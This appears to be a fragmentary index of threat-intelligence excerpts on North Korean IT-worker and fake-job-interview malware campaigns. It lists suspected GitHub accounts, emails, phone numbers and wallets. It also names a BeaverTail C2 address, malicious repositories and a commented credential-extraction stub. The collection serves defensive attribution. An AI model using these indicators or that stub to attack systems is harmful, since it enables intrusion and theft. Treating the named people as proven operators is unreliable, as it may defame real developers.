https://github.com/steven228312 * GitHub 2: https://github.com/luckypenny1632333 GitHub 3: https://github.com/stevendev0822 * Portfolio 1: https://steven-dev.vercel.app/ * Portfolio 2: https://mitsuru-kudo-blockchain-portfolio.vercel.app/ * Resume:…","Found on 28 September 2026 by asking GitHub's commit search, for each of the addresses this index holds from Multilateral Sanctions Monitoring Team (MSMT)'s reporting, which account its commits are credited to. GitHub credits a commit to the account that has registered the author address, so each account below owns the address shown; the count is the commits credited in the search's first page. stevens357 holds austinstevens357@gmail.com (4). Where the address came from a report, the report is https://msmt.info/view/save/2025/10/22/26294780-c396-407d-bb33-88afe988cd96-The_DPRK%E2%80%99s_Violation_and_Evasion_of_UN_Sanctions_through_Cyber_and_Information_Technology_Worker_Activities_(MSMT_2025_2).pdf. An account was left out where the address may belong to a real person rather than the operator: a stolen-CV listing, a mirrored contributor's identity, a copied repository's upstream author, or an account with a long, verifiable history of its own.","…rekt-db Stomp47 Exploit Archive Cross-chain blockchain exploit archive with runnable PoCs May 25, 2026 https://github.com/Stomp47/rekt-db forge-4626-invariants sr-werney Foundry Testing Drop-in Foundry invariant tests for ERC-4626 vaults…","…github.com/johnhoang-star - github.com/techsavvyninja - github.com/intellichain555 - github.com/zkbusiness - github.com/chainoneer - github.com/sujan198703 - github.com/alexiva0806 - github.com/poprunner88 - github.com/wow-webmaster - github.com/techwizard210 - github.com/lovelyBestDev -…","…https://github.com/codestar3524 https://github.com/topdev0215 https://github.com/Forest410 https://github.com/enzifiri https://github.com/sunlight0902 https://github.com/ERTWENTY Considering these patterns, I decided to analyze additional accounts with similar characteristics that also…","Found on 28 September 2026 by asking GitHub's commit search, for each of the addresses this index holds from ketman.org's reporting, which account its commits are credited to. GitHub credits a commit to the account that has registered the author address, so each account below owns the address shown; the count is the commits credited in the search's first page. sup3reric holds superdev4837@gmail.com (3). Where the address came from a report, the report is https://www.ketman.org/one-north-korean-four-north-koreans.html. An account was left out where the address may belong to a real person rather than the operator: a stolen-CV listing, a mirrored contributor's identity, a copied repository's upstream author, or an account with a long, verifiable history of its own.","…/dragon360-dev URL:https//github.com/fairskyDev0201 URL:https//github.com/solutionGuru0129 URL:https//github.com/dreamsoft07 URL:https//github.com/super-dev03 URL:https//github.com/Mani2044 URL:https//github.com/darkhorse00512 URL:https//github.com/tanaka0722-dev URL:https//github.com/software…","…github.com/super1114 • [Archive](https://web.archive.org/web/20220627223823/https://github.com/super1114) - crypto.jobs/talent/profile/senior-smart-contracts-developer-solidity-1 - codementor.io/@super1114dev - remote3.co/p/albertomira -…","…suspected https://github.com/super124dev The above-listed GitHub accounts are active (ATTOW) and pose high activity.…","…om/whitecrow0109 https://github.com/yasmoto1995 https://github.com/yellowflash2041 https://github.com/yeshealer https://github.com/tedzchow https://github.com/super124dev https://github.com/agronkercishta https://github.com/agronkercishta https://github.com/athenaweb629 https://github.com/best-lucky1030 https…","…m/green52199 URL:https//github.com/CryptoTop1111 URL:https//github.com/secretsuperstar1109 URL:https//github.com/champion119 URL:https//github.com/SuperAdam47 URL:https//github.com/dragon360-dev URL:https//github.com/fairskyDev0201 URL:https//github.com/solutionGuru0129 URL:https//github.com/d…","…: suspected https://github.com/director2010s https://github.com/Dreamfullstacker https://github.com/miroshar-success : susp https://github.com/SuperButterfly https://github.com/fongjengchang https://github.com/PainStaker0331 https://github.com/DevGambles https://github.com/james888 https://github…","…: suspected https://github.com/director2010s https://github.com/Dreamfullstacker https://github.com/miroshar-success https://github.com/SuperButterfly https://github.com/fongjengchang https://github.com/PainStaker0331 https://github.com/DevGambles https://github.com/james888 https://github…","…https://github.com/Seniorcoder72 https://github.com/SMILES00714 https://github.com/WhiteRabbit130 https://github.com/WebRabbit1796 https://github.com/supercoder-0923 https://github.com/hudesdev https://github.com/bstar0406 Given this context of an interconnected network of GitHub accounts that share…","…b.com/Shiny0805/ https://github.com/silivex https://github.com/Skydev-hub https://github.com/smart1206 https://github.com/Smartdev0022 https://github.com/superdev0527 https://github.com/Talent0407 https://github.com/tech-veteran71 https://github.com/tommy725 https://github.com/up-pro https://github.c…","…- BaHNYFQYsBKX541kjEB9sgoHCc7NQdwc16S5ZE9bmYYv #### Lucas Wong - 2025 - cox1118 - superlwclx - LucasWongC - github.com/superlwclx - github.com/LucasWongC • [Archive](https://web.archive.org/web/20250108192702/https://github.com/LucasWongC) - t.me/cox1118 (ID:…","…naokimurano - muranox.eth - supermutecx - 0xdpta - naokimurano@outlook.com - murano@outlook.com - murano1996@gmail.com - github.com/supermutecx • [Archive](https://archive.ph/96QVA) - github.com/0xdpta - 0x85e0504fcd7981baa68774431099c5e2dcf074dd -…","…John Michael Millen - johnmichael0325@outlook.com - JohnMichaelMillen0325@outlook.com #### Naoki Murano - github.com/supermutexc - naokimurano@outlook.com #### Seo Sigoto - github.com/seosigoto - seo.shigoto.001@gmail.com - seo.sigoto@gmail.com #### Seo Kiwon -…","…Github: github.com/Hiccup19940325 github.com/neverm25 github.com/seosigoto github.com/JCollinsX github.com/mtfuji25 github.com/supermutexc github.com/call-by Persona Names: Seo Kiwon Seo Sigoto Jenson Collins Kazune Takeda Joe Hisaishi George Takeo Kei Nakano Steven…","…• [Archive](https://web.archive.org/web/20241207220408/https://github.com/vigorousdeveloper) - github.com/top-dev-mania - github.com/SuperVenus0725 • [Archive](https://web.archive.org/web/20250827055204/https://github.com/SuperVenus0725) - github.com/Jason07250000 -…","…github.com/OrdinalKing - github.com/devlegend524 - github.com/cryptodev524 - github.com/alexstepan0209 - github.com/kvenus-uj - github.com/suzukidavid - github.com/john741672 - github.com/webcat882 - github.com/lgamingdev1 - github.com/rustsol114 - github.com/maestro418 -…","…https://github.com/lionstar259007 https://github.com/motokimasuo https://github.com/mymiracle0118 https://github.com/swdreams https://github.com/toptalhook https://github.com/techeng322 https://github.com/tranguixdev https://github.com/billiedox…","…IOCs Visualization of connection between the all actors discussed GitHub Profiles https://github.com/SweetDream https://github.com/SmileS-777 https://github.com/StealthCoder1109 https://github.com/V0410 https://github.com/ImfanAi…","…8.3 Indicators of Compromise (IOCs) GitHub Accounts: github.com/motokimasuo github.com/bestselection18 github.com/kirbyAttack github.com/swiftcode1121 github.com/7CodeWizard Email Addresses: truepartner312@gmail.com motosimasuo@gmail.com jacksummers0822@gmail.com…","…URL:aaronsfazzy.slack.com URL:https://github.com/7codewizard URL:https://github.com/neymafullstack URL:https://github.com/swiftcode1121 URL:https://github.com/ghost URL:https://calendly.com/7codewizard/30min URL:https://jackson-portfolio.vercel.app…","…ub.com/asimhafeezz/blacknovas-test github.com/hrjaffery/nyc-bitquery-whale-transactions github.com/krishprism1/ncipher1.2upgrade-backend github.com/SyedMinhalHasan/blocknovas-task github.com/artur-kolesnyk/NyxCipher-test github.com/xorostar/blocknovas-llc-currency-converter-task We know GitHub does not index…","Found on 28 September 2026 by asking GitHub's commit search, for each of the addresses this index holds from GitLab Threat Intelligence's reporting, which account its commits are credited to. GitHub credits a commit to the account that has registered the author address, so each account below owns the address shown; the count is the commits credited in the search's first page. tabishhassan5121472 holds tabishhassan01998@gmail.com (19); temo927 holds temorexviashvili17@gmail.com (59); tommyrole holds tommyrole0301@gmail.com (89). Where the address came from a report, the report is https://about.gitlab.com/blog/gitlab-threat-intelligence-reveals-north-korean-tradecraft/. An account was left out where the address may belong to a real person rather than the operator: a stolen-CV listing, a mirrored contributor's identity, a copied repository's upstream author, or an account with a long, verifiable history of its own.","…com/silivex https://github.com/Skydev-hub https://github.com/smart1206 https://github.com/Smartdev0022 https://github.com/superdev0527 https://github.com/Talent0407 https://github.com/tech-veteran71 https://github.com/tommy725 https://github.com/up-pro https://github.com/wissen-snake…","…leonpower123@outlook.com - oskardev0112@gmail.com - 88yurchak@gmail.com - github.com/brent-jeremy - github.com/Smart-Dev-0205 - github.com/talented-blockchain-dev - github.com/squirdev - github.com/pedrodiaz417 - github.com/topsmartpro - t.me/smartdev19961 - t.me/smartdev0205 (ID: 5265691090) •…","…npower123@outlook.com oskardev0112@gmail.com 88yurchak@gmail.com Github: https://github.com/brent-jeremy https://github.com/Smart-Dev-0205 https://github.com/talented-blockchain-dev https://github.com/squirdev https://github.com/pedrodiaz417 https://github.com/topsmartpro Telegram: smartdev19961 smartdev0205 trust0205…","…TalentKingDev - Madrid - dove123_ - eugenetan0105 - expertvetted7 - TalentKingDev - codewarrier3000 - codewarrier3000@gmail.com - github.com/TalentKingDev - linkedin.com/in/jvmontero-35/ - lucky.godness.tan@gmail.com - t.me/expertvetted7 (ID: 7030416097) •…","…github.com/dreamsoft07 URL:https//github.com/super-dev03 URL:https//github.com/Mani2044 URL:https//github.com/darkhorse00512 URL:https//github.com/tanaka0722-dev URL:https//github.com/software-dev-web URL:https//any.run/cybersecurity-blog/lazarus-group-it-workers-investigation/ Email:charliereo565…","…{\"id\":\"a5dfe7df75edfc9b\",\"type\":\"link\",\"url\":\"https://github.com/taprwhiz/\",\"x\":2220,\"y\":-2840,\"width\":400,\"height\":400},…","…/Skydev-hub https://github.com/smart1206 https://github.com/Smartdev0022 https://github.com/superdev0527 https://github.com/Talent0407 https://github.com/tech-veteran71 https://github.com/tommy725 https://github.com/up-pro https://github.com/wissen-snake DISCLAIMER: All technical information,…","…email cluster github.com/winner7784291 Taiga Fukuda persona github.com/buildwithria varduhimarieta email / flagged account github.com/TechAIAgent Kolin Kojima hub, follows danielfounder github.com/Agent-Dev-Well Committed to TechAIAgent, dev.to profile github.com/apexautocap…","…Nick was one of the two core contributors to the protocol. Aqua Protocol Organization: https://github.com/techaqualoan (Removed on March 27, 2024) Core Contributors: https://github.com/NickLFranklin (Main actor, account removed on March 28, 2024)…","…https://github.com/motokimasuo https://github.com/mymiracle0118 https://github.com/swdreams https://github.com/toptalhook https://github.com/techeng322 https://github.com/tranguixdev https://github.com/billiedox https://github.com/deeplus2021 Email Addresses…","…github.com/galaxydigital - github.com/TopDeveloper0809 - github.com/IlliaButenko - github.com/johnhoang-star - github.com/techsavvyninja - github.com/intellichain555 - github.com/zkbusiness - github.com/chainoneer - github.com/sujan198703 - github.com/alexiva0806 -…","…github.com/chainoneer - github.com/sujan198703 - github.com/alexiva0806 - github.com/poprunner88 - github.com/wow-webmaster - github.com/techwizard210 - github.com/lovelyBestDev - github.com/Thomas-Kebin - github.com/ChallengeDev210 - github.com/OrdinalKing -…","…/univan0928 https://github.com/whitecrow0109 https://github.com/yasmoto1995 https://github.com/yellowflash2041 https://github.com/yeshealer https://github.com/tedzchow: suspected https://github.com/super124dev The above-listed GitHub accounts are active (ATTOW) and pose high activity.…","…/univan0928 https://github.com/whitecrow0109 https://github.com/yasmoto1995 https://github.com/yellowflash2041 https://github.com/yeshealer https://github.com/tedzchow https://github.com/super124dev https://github.com/agronkercishta https://github.com/agronkercishta https://github.com/athenaweb629 https://…","…{\"id\":\"e3e9a81fa0a7d10d\",\"type\":\"link\",\"url\":\"https://github.com/TERA-star\",\"x\":-1820,\"y\":380,\"width\":400,\"height\":400},…","Found on 28 September 2026 by asking GitHub's commit search, for each of the addresses this index holds from ketman.org's reporting, which account its commits are credited to. GitHub credits a commit to the account that has registered the author address, so each account below owns the address shown; the count is the commits credited in the search's first page. terauss holds robinhood97110@gmail.com (100). Where the address came from a report, the report is https://www.ketman.org/one-north-korean-four-north-koreans.html https://www.ketman.org/dprk-it-workers-github-organizations.html. An account was left out where the address may belong to a real person rather than the operator: a stolen-CV listing, a mirrored contributor's identity, a copied repository's upstream author, or an account with a long, verifiable history of its own.","…User tied to malicious App hosting in Github https[://]bitbucket.org/labs525/chess/src/main/ Malicious BitBucket Repo https[://]github.com/terin6/CHESS Malicious Github Repo DATE PUBLISHED October 6, 2025 AUTHOR Nevan Beal, Caden Toellner, and Sam Decker SHARE ON…","…on LinkedIn, which means it has either been deleted or banned. https://github.com/lopezluis00 One member named “ thegoodearth918” (github.com/thegoodearth918) was found within the GitHub account for “ SoftGlide LLC ” (github.com/SoftGlide-LLC) within their GitHub.…","…github.com/alexiva0806 - github.com/poprunner88 - github.com/wow-webmaster - github.com/techwizard210 - github.com/lovelyBestDev - github.com/Thomas-Kebin - github.com/ChallengeDev210 - github.com/OrdinalKing - github.com/devlegend524 - github.com/cryptodev524 -…","…hanssuperdev1026@gmail.com - hansjkiller1026@outlook.com - tomasjakson44@gmail.com - ssch26802@gmail.com - williamh8930@gmail.com - github.com/thomson0313 - github.com/fullstackdev8681 - github.com/louistalent - github.com/galaxy-foundation - github.com/galaxydigital -…","…./beavertail ## Variant eleven - November 13, 2025 - Unique Identifier: token=104 github.com/winterteam03311/apom github.com/tinitachodos/apom22 github.com/tinitachodos/apom #### Notes: These repos are all child repos and have 1 commit each from November 13, 2025.…","Endpoint telemetry from a developer who downloaded the main-branch archive of togetherlabsinchub/palooza from GitHub, reported to this site in October 2026, shows the project started with node server.js and then a Node.js child process run inline with node -e, carrying a campaign identifier, a numeric key and the C2 address http://151.80.76.64:1224/. That shape, an inline loader calling back to port 1224 and identifying itself to the server, is the BeaverTail first stage of the Contagious Interview campaign, delivered as a coding exercise in a fake job interview. The account name borrows that of Together Labs, Inc., a real company with no part in this; impersonating a real employer is the campaign's usual lure. By 26 October 2026 the account and the repository both returned not found through the GitHub API, and the Wayback Machine holds no capture of either, so the repository is listed as a removed link. Nothing from it was downloaded or run. Maltrail's Lazarus trail list carries 151.80.76.64 on ports 1224 and 3333 (the BeaverTail and InvisibleFerret ports), together with 151.80.76.66 and 151.80.76.67 on the same two ports. All three sit on OVH in Roubaix, rented through the Windows VPS reseller RDP Quick with remote desktop open. Shodan's InternetDB on 26 October 2026 showed a Node.js Express server on 151.80.76.64 port 3333 and on 151.80.76.66 port 1224, so at least two of the three were serving that day.","…rt1206 https://github.com/Smartdev0022 https://github.com/superdev0527 https://github.com/Talent0407 https://github.com/tech-veteran71 https://github.com/tommy725 https://github.com/up-pro https://github.com/wissen-snake DISCLAIMER: All technical information, including malware analysis,…","…https[ :// ]github.com/harrypotter060327-netizen/TEST_LORD https[ :// ]github.com/edwardtam919/staking-platform-main https[ :// ]github.com/TommyMinion/DeFi-Market https[ :// ]github.com/0x3ca54/arena-world https[ :// ]github.com/InfiniGods-Tech/rei Markdown GitHub account identified making…","…github.com/vigorousdeveloper • [Archive](https://web.archive.org/web/20241207220408/https://github.com/vigorousdeveloper) - github.com/top-dev-mania - github.com/SuperVenus0725 • [Archive](https://web.archive.org/web/20250827055204/https://github.com/SuperVenus0725) -…","…github.com/mhcatty - github.com/mhcrocky - github.com/naruhitokaide - github.com/Redmon540 - github.com/sp0t - github.com/TOP-DEVELOPER - github.com/twizard410 - github.com/webstar1014 - github.com/ychmdev - github.com/evilhanse --- # Analysis of DPRK IT Worker Logs -…","…Costure * DEV Community: https://dev.to/andrew_costure_2611 * Contains photo of the actor ---------- ## Unplaced accounts of interest * https://github.com/top0329 * Stargazing known DPRK * Profile assets and their hyperlinks out match Steven's profile * Minor changes between the two *…","…* Stargazing known DPRK * Profile assets and their hyperlinks out match Steven's profile * Minor changes between the two * https://github.com/top329 * Clear alt of top0329 * Telegram: https://t.me/top_329 * https://github.com/venuswhispers * Profile assets and their hyperlinks out…","…toparc077 - andyhoglet - andy-hoog - andyhoogup - T077 - andyhoogup@gmail.com - github.com/toparc077 • [Archive](https://archive.ph/7lbnH) - linkedin.com/in/andy-hoog/ - x.com/andyhoglet - 0x1043efee936903951b88db23551873bb67292e95 -…","…github.com/rustsol114 - github.com/maestro418 - github.com/rizzolib - github.com/endlessbuilder - github.com/smile0307 - github.com/topclever - github.com/webpointdev - github.com/crackdev01 - github.com/devsirius51 - github.com/devsirius5001 - Discord: thomson_0313 -…","…https://x.com/browsercookies/status/1934285777699230194 - ![](./1934285777699230194-4.png) #### topcodebeast - github.com/topcodebeast • [Archive](https://web.archive.org/web/20250722051253/https://github.com/TopCodeBeast) - t.me/flashhypo - maxb47163@gmail.com -…","…size https://github.com/AI0228 https://github.com/warmice71 https://github.com/niceDeve https://github.com/codestar3524 https://github.com/topdev0215 https://github.com/Forest410 https://github.com/enzifiri https://github.com/sunlight0902 https://github.com/ERTWENTY Considering…","…github.com/fullstackdev8681 - github.com/louistalent - github.com/galaxy-foundation - github.com/galaxydigital - github.com/TopDeveloper0809 - github.com/IlliaButenko - github.com/johnhoang-star - github.com/techsavvyninja - github.com/intellichain555 -…","…cryptobyte3@gmail.com - https://x.com/browsercookies/status/1934288397339877730 - ![](./1934288397339877730.png) #### TechWizAI - github.com/TopETH - t.me/supernathanliu (ID: 1677260011) - linkedin.com/in/techwhizai (404) - https://x.com/browsercookies/status/1934290466054553751 -…","…That username is associated with a GitHub account, which still exists at the time of writing, though it shows little visible activity: https://github.com/topsdev126 On its own, the existence of the account does not indicate active use.…","…github.com/Smart-Dev-0205 - github.com/talented-blockchain-dev - github.com/squirdev - github.com/pedrodiaz417 - github.com/topsmartpro - t.me/smartdev19961 - t.me/smartdev0205 (ID: 5265691090) • ([Messages](./user-5265691090-@smartdev0205.txt)) - t.me/SmartDevPro (ID:…","…my https://github.com/Smart-Dev-0205 https://github.com/talented-blockchain-dev https://github.com/squirdev https://github.com/pedrodiaz417 https://github.com/topsmartpro Telegram: smartdev19961 smartdev0205 trust0205 Discord: Talented Blockchain#3570 Skype: live:.cid.ffe8d0454926464f Hiring…","…9 GitHub repos spreading the backdoor: github.com/Collaborate3562/ncipher-backend github.com/Paragkoche/ncipher1.2upgrade-backend-2 github.com/TopStar720/nyx4 github.com/asimhafeezz/blacknovas-test github.com/hrjaffery/nyc-bitquery-whale-transactions github.com/krishprism1/ncipher1.2upgrade-bac…","…https://github.com/lionstar259007 https://github.com/motokimasuo https://github.com/mymiracle0118 https://github.com/swdreams https://github.com/toptalhook https://github.com/techeng322 https://github.com/tranguixdev https://github.com/billiedox https://github.com/deeplus2021…","…Daniel Pires persona github.com/nixfroasty James Hensley persona github.com/fortuneguy97 “Alex” persona, dev.to presence github.com/ToyBoy1127 eugene001127 cluster github.com/simplecode1996-lab simplecode1996 email cluster github.com/winner7784291 Taiga Fukuda persona…","…Additionally the user walletdiscover1010-a11y who is still associated with Mentonex is also following vexxloso . https://github.com/trader389 Looking at the job postings on nixsora.com reveals several posts looking to hire blockchain developers There’s also a community…","…https://github.com/mymiracle0118 https://github.com/swdreams https://github.com/toptalhook https://github.com/techeng322 https://github.com/tranguixdev https://github.com/billiedox https://github.com/deeplus2021 Email Addresses lucaschang1127@gmail.com xtinc.exp@gmail.com…","…locknovas-LLC-Test github.com/Yasin-97/blocknovas-test github.com/lArtiquel/nyxcipher.ai github.com/mirzamudassir/blocknovas-nyx-public github.com/trishateh/blocknovas-task Since we knew various accounts were sharing this snippet of code, it was important to understand how it worked. BlockNovas Malware…","…Trixauvex-org Crypto Trading Cryptocurrency trading engine and analytics platform May 16, 2026 https://github.com/Trixauvex-org/trixauvex rekt-db PedrinPY Exploit Archive Cross-chain blockchain exploit archive with runnable PoCs May 19,…","…{\"id\":\"c59eae8bc1c1502f\",\"type\":\"link\",\"url\":\"https://github.com/Tru3Bliss\",\"x\":3020,\"y\":380,\"width\":400,\"height\":400},…","…alek806 - truecode112 - masterscent913 - bigforniture1126 - truecoder112 - dar_winpizza - jaleksandar806 - putnikdeveloperbg - github.com/truecode112 - github.com/masterscent913 • [Archive](https://archive.ph/E9Thn) - truecoder112@gmail.com - dar_winpizza@hotmail.com -…","Found on 28 September 2026 by asking GitHub's commit search, for each of the addresses this index holds from NVISO's reporting, which account its commits are credited to. GitHub credits a commit to the account that has registered the author address, so each account below owns the address shown; the count is the commits credited in the search's first page. trungtrinh0818-tech holds trungtrinh0818@gmail.com (100). Where the address came from a report, the report is https://blog.nviso.eu/2025/11/13/contagious-interview-actors-now-utilize-json-storage-services-for-malware-delivery/. An account was left out where the address may belong to a real person rather than the operator: a stolen-CV listing, a mirrored contributor's identity, a copied repository's upstream author, or an account with a long, verifiable history of its own.","…analysis of yosket's activity revealed the 10 specific repository URLs where the account injected malicious commands: https://github.com/TrustLedgerLabs/Token-Presale-dApp https://github.com/ryon-business/Promoting-DApp https://github.com/angel-group888/dapp-integration https://github.com/AretaSchmidt/Web3-…","…thub.com/angel-group888/dapp-integration https://github.com/AretaSchmidt/Web3-RE-Prototype https://github.com/QalbeAli/TrustLedger_Fixes https://github.com/trustllabs/Token-Presale-dApp https://github.com/DavidMoura07/linkfi https://github.com/VictorKulagin/testtoken https://github.com/rajaXcodes/Token-Presale-dApp http…","…veloper1982 https://github.com/webtalent0125 https://github.com/everest-dev0323 https://github.com/GithubRealFan https://github.com/Rango22 https://github.com/TryEverything920609 https://github.com/univan0928 https://github.com/whitecrow0109 https://github.com/yasmoto1995 https://github.com/yellowflash2041 https://gi…","…github.com/mhcrocky - github.com/naruhitokaide - github.com/Redmon540 - github.com/sp0t - github.com/TOP-DEVELOPER - github.com/twizard410 - github.com/webstar1014 - github.com/ychmdev - github.com/evilhanse --- # Analysis of DPRK IT Worker Logs -…","…t0125 https://github.com/everest-dev0323 https://github.com/GithubRealFan https://github.com/Rango22 https://github.com/TryEverything920609 https://github.com/univan0928 https://github.com/whitecrow0109 https://github.com/yasmoto1995 https://github.com/yellowflash2041 https://github.com/yeshealer https://git…","…artdev0022 https://github.com/superdev0527 https://github.com/Talent0407 https://github.com/tech-veteran71 https://github.com/tommy725 https://github.com/up-pro https://github.com/wissen-snake DISCLAIMER: All technical information, including malware analysis, indicators of compromise and…","…go get github.com/user/thing@v1.4.0 asks the module proxy ( proxy.golang.org ) for that tag, and the proxy fetches whatever is in that git commit.…","…); } // Reads each file, extracts credential lines } function extractCredentialsFromUrl ( url ) { // Parses: https://username:token@github.com/user/repo.git // Parses: https://token@gitlab.com/user/repo.git // Extracts and stores auth tokens } Repository Scanning # Scans all drives up…","…V0410 - https://github.com/V0410/ng-frontend-application/commits/main/ aidenwong812 - https://github.com/aidenwong812/ng-frontend-application Timestamp analysis is interesting: both repositories were…","…Antrea project compromise: https://opensourcemalware.com/blog/antrea-compromise2 Dirty Frag: https://github.com/V4bel/dirtyfrag [00:00:00] Jenn Gile: Oh.…","…GitHub repository https://github.com/veneliteus-dev/casino-game/ https://github.com/brahmabit/be_challenge_blockchain/ https://github.com/vnvstore/funtico-labs-assessment-15/ https://github.com/samuelm…","…Steven's profile * Minor changes between the two * https://github.com/top329 * Clear alt of top0329 * Telegram: https://t.me/top_329 * https://github.com/venuswhispers * Profile assets and their hyperlinks out match Steven's and Top329's * Minor changes between the three * https://github.com/butter1011…","…scott.brown0629@gmail.com - what.a.fabulous1@gmail.com - sct.brown0629@gmail.com - github.com/breavedev - github.com/nevermindhim - github.com/verytinydever - linkedin.com/in/scott-brown-b947ba29a - linkedin.com/in/scott-brown-813445279 - dev.to/scott_brown_b611d05a865cf -…","…e https://github.com/QalbeAli/TrustLedger_Fixes https://github.com/trustllabs/Token-Presale-dApp https://github.com/DavidMoura07/linkfi https://github.com/VictorKulagin/testtoken https://github.com/rajaXcodes/Token-Presale-dApp https://github.com/Rochelle128/TokenPresaleDApp The other four accounts collaborated…","…SuperDev - Jason07250000 - venus07250000 - VigorousDevelopment524@gmail.com - dev.mania.639@gmail.com - venus07250000@gmail.com - github.com/vigorousdeveloper • [Archive](https://web.archive.org/web/20241207220408/https://github.com/vigorousdeveloper) - github.com/top-dev-mania -…","…(ID: 5312921424) • ([Messages](./user-5312921424-@haodev007.txt)) - ![](./X_2025-11-22_haodev007.png) #### Ming Tai - Igor Babe - github.com/vikigstar (codebear) #### Thành Hao Vo - Kunkka0822 - github.com/Kunkka0822 •…","…GitHub repository https://github.com/veneliteus-dev/casino-game/ https://github.com/brahmabit/be_challenge_blockchain/ https://github.com/vnvstore/funtico-labs-assessment-15/ https://github.com/samuelmeadowbiankah/felina/ https://github.com/nhonlvsoict/skill-test-main/ https://github.com/goldendragon68/Bullana…","…Chat 🟢 External information oleksii1115@gmail.com ChongJin-Industry2 Gmail - Ukrainian male name cover · Payoneer GitHub: github.com/voleks3d (3D developer profile) External 🟢 External information (Payoneer) ihor_zhuravskyi (alias) Ryang Gang / RS Committee…","…infection chain The Linux and macOS infection chains use native Go binaries derived from the open-source Overlord C&C framework (github.com/vxaboveground/Overlord).…","Found on 28 September 2026 by asking GitHub's commit search, for each of the addresses this index holds from GitLab Threat Intelligence's reporting, which account its commits are credited to. GitHub credits a commit to the account that has registered the author address, so each account below owns the address shown; the count is the commits credited in the search's first page. wagdev77 holds walterjgould77@gmail.com (19). Where the address came from a report, the report is https://about.gitlab.com/blog/gitlab-threat-intelligence-reveals-north-korean-tradecraft/. An account was left out where the address may belong to a real person rather than the operator: a stolen-CV listing, a mirrored contributor's identity, a copied repository's upstream author, or an account with a long, verifiable history of its own.","Found on 28 September 2026 by asking GitHub's commit search, for each of the addresses this index holds from US Treasury (OFAC)'s reporting, which account its commits are credited to. GitHub credits a commit to the account that has registered the author address, so each account below owns the address shown; the count is the commits credited in the search's first page. wangge327 holds wangge327@yahoo.com (35). Where the address came from a report, the report is https://ofac.treasury.gov/recent-actions/20250708_33. An account was left out where the address may belong to a real person rather than the operator: a stolen-CV listing, a mirrored contributor's identity, a copied repository's upstream author, or an account with a long, verifiable history of its own.","…On the profile of Warmice71, there’s a repository at https://github.com/warmice71/vinci-store-product-scraping . In this repository, we found videos that capture the screen, showing interactions with a client while performing work on UpWork Press…","…wayout4u Exploit Archive Cross-chain blockchain exploit archive with runnable PoCs May 21, 2026 https://github.com/wayout4u/rekt-db rekt-db Stomp47 Exploit Archive Cross-chain blockchain exploit archive with runnable PoCs May 25,…","…![](./nathan-cao-james-lee-1.jpg) - ![](./nathan-cao-james-lee-2.jpg) #### William Chang - Claimed Hong Kong - https://github.com/wc117 - williamchang89117@gmail.com - t.me/wc117 - https://pythonweekly.substack.com/p/python-weekly-12 -…","…Bank of America + Community Federal Savings Bank - wdev733 - jack.lu955 - johnston.john542789 - smartonefire88888 - devstar.sky20 - github.com/wdev733 - jack.lu955@gmail.com - johnston.john542789@gmail.com - smartonefire88888@outlook.com - wdev733@gmail.com - devstar.sky20@gmail.com…","…github.com/cryptodev524 - github.com/alexstepan0209 - github.com/kvenus-uj - github.com/suzukidavid - github.com/john741672 - github.com/webcat882 - github.com/lgamingdev1 - github.com/rustsol114 - github.com/maestro418 - github.com/rizzolib - github.com/endlessbuilder -…","…Jung - Claimed Hong Kong - Has First Century Bank + Community Federal Savings Bank - webelf101 - stevenjung - steven.jung86000 - github.com/webelf101 - t.me/stevenjung - steven.jung86000@gmail.com - +1 845 809 1168 - 0x6513cb2f5E59c768a28958FBBDa6e06B9B29B8Eb -…","…zoelasa1111@gmail.com - it.galaxy.0315@gmail.com - sasuke031026@gmail.com - f99964995@gmail.com - github.com/newstable - github.com/webgalaxy315 - github.com/nova-blockchain - github.com/jayceetran - github.com/zenggang315 - github.com/sasuke031026 - github.com/sasuke1026 -…","…s@gmail.com zoelasa1111@gmail.com it.galaxy.0315@gmail.com sasuke031026@gmail.com f99964995@gmail.com Github: https://github.com/newstable https://github.com/webgalaxy315 https://github.com/nova-blockchain https://github.com/jayceetran https://github.com/zenggang315 https://github.com/sasuke031026 https://git…","…github.com/maestro418 - github.com/rizzolib - github.com/endlessbuilder - github.com/smile0307 - github.com/topclever - github.com/webpointdev - github.com/crackdev01 - github.com/devsirius51 - github.com/devsirius5001 - Discord: thomson_0313 - Discord: loganworld - Discord:…","…to view image in full size https://github.com/Seniorcoder72 https://github.com/SMILES00714 https://github.com/WhiteRabbit130 https://github.com/WebRabbit1796 https://github.com/supercoder-0923 https://github.com/hudesdev https://github.com/bstar0406 Given this context of an interconnected…","…github.com/naruhitokaide - github.com/Redmon540 - github.com/sp0t - github.com/TOP-DEVELOPER - github.com/twizard410 - github.com/webstar1014 - github.com/ychmdev - github.com/evilhanse --- # Analysis of DPRK IT Worker Logs -…","…/ https://github.com/seniordev1008 https://github.com/ShareHappy0126 https://github.com/sharplip0518 https://github.com/risingdeveloper1982 https://github.com/webtalent0125 https://github.com/everest-dev0323 https://github.com/GithubRealFan https://github.com/Rango22 https://github.com/TryEverything920609 https…","…5102864895) - 0xf69201AA19C540b74c170A545Fc6d8805e0EE9b1 #### Paul Martin / Werewolves0493 - Munchables (2024) - Werewolves0493 - github.com/Werewolves0493 • [Archive](https://archive.ph/p8AIS) - 0x4890e32a6a631ba451b7823dad39e88614f59c97 - ![](./munchables-paul-song-senior-dev.jpg) -…","…Wong Shao Onn - 0xjsmart - call-by - jp-smart - wewecalibrate - joshupgig - github.com/call-by - github.com/wewecalibrate - github.com/jp-smart • [Archive](https://archive.ph/grqjk) - joshupgig@gmail.com - smart.solidity@gmail.com -…","…{\"id\":\"c2a573cf536e9d7e\",\"type\":\"link\",\"url\":\"https://github.com/whisdev\",\"x\":3821,\"y\":-2840,\"width\":400,\"height\":400},…","…st-dev0323 https://github.com/GithubRealFan https://github.com/Rango22 https://github.com/TryEverything920609 https://github.com/univan0928 https://github.com/whitecrow0109 https://github.com/yasmoto1995 https://github.com/yellowflash2041 https://github.com/yeshealer https://github.com/tedzchow:…","…st-dev0323 https://github.com/GithubRealFan https://github.com/Rango22 https://github.com/TryEverything920609 https://github.com/univan0928 https://github.com/whitecrow0109 https://github.com/yasmoto1995 https://github.com/yellowflash2041 https://github.com/yeshealer https://github.com/tedzchow https://github.c…","…tps//github.com/typescript-cheatsheets/react/issues/190 URL:https//github.com/dreamcoder75 URL:https//github.com/AIDevMonster URL:https//github.com/whiteghostDev URL:https//github.com/cedev935 URL:https//github.com/green52199 URL:https//github.com/CryptoTop1111 URL:https//github.com/secretsuperst…","…images: Press enter or click to view image in full size https://github.com/Seniorcoder72 https://github.com/SMILES00714 https://github.com/WhiteRabbit130 https://github.com/WebRabbit1796 https://github.com/supercoder-0923 https://github.com/hudesdev 